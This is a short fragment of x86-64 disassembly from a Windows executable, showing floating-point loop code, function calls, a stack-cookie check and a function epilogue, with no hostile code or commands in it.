jmp 0x14001bad6
movsd xmm5, qword [rsp + 0x28]
lea rcx, [rbp + 0x2e0]
call fcn.14001cee0
addsd xmm0, xmm12
divsd xmm5, xmm0
movsd qword [rsp + 0x28], xmm5
inc ebx
cmp ebx, 5
jl 0x14001ba50
sub rdi, 1
jne 0x14001ba43
lea rcx, [rbp + 0x3d0]
call fcn.14001ca20
nop
lea rcx, [rbp + 0x480]
call fcn.14001cb00
sub rsi, 1
jne 0x14001b810
lea rcx, [rbp + 0x78]
call fcn.140001650
mov rcx, rax
lea rdx, [rbp + 8]
call fcn.1400019d0
test al, al
js 0x14001b800
mov eax, dword [rsp + 0x20]
lea rcx, [rbp + 0x2a0]
call fcn.14001c8e0
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.14001bc30
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.1400011d0
nop
mov rcx, rax
call fcn.1400013b0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.140005080
nop
lea rcx, [rbp + 0x88]
call fcn.140001260
nop
mov rcx, qword [rbp + 0x3a8]
xor rcx, qword [rbp + 0x3a0]
mov rax, qword [rbp + 0x3b0]
mov qword [rax], rcx
xor eax, eax
mov rcx, qword [rbp + 0x5420]
xor rcx, rsp
call fcn.14001e6c0
lea r11, [rsp + 0x55d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14002425c
nop
call fcn.14002425c
nop
call fcn.14002425c
nop
call fcn.14002425c
nop
call fcn.14002425c
nop
call fcn.14002425c
int3